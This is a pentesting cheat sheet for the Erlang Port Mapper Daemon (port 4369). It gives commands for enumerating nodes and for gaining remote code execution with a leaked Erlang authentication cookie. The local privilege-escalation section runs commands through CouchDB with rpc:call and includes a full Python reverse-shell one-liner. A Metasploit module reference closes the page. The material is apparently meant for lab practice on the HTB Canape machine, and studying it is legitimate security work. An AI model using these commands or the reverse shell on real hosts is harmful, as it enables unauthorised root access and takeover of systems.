4369 - Pentesting Erlang Port Mapper Daemon (epmd)

Basic Info

The erlang port mapper daemon is used to coordinate distributed erlang instances. His job is to keep track of which node name listens on which address. Hence, epmd map symbolic node names to machine addresses.

Default port: 4369

4369/tcp open  epmd    Erlang Port Mapper Daemon

This is used by default on RabbitMQ and CouchDB installations.



echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses


nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Remote Connection

If you can leak the Authentication cookie you will be able to execute code on the host. Usually, this cookie is located in ~/.erlang.cookie and is generated by erlang at the first start. If not modified or set manually it is a random string [A:Z] with a length of 20 characters.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

"uid=0(root) gid=0(root) groups=0(root)\n"

More information in https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ The author also share a program to brutforce the cookie:

Local Connection

In this case we are going to abuse CouchDB to escalate privileges locally:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE 
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Example taken from https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution You can use Canape HTB machine to practice how to exploit this vuln.


#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce


  • port:4369 "at port"

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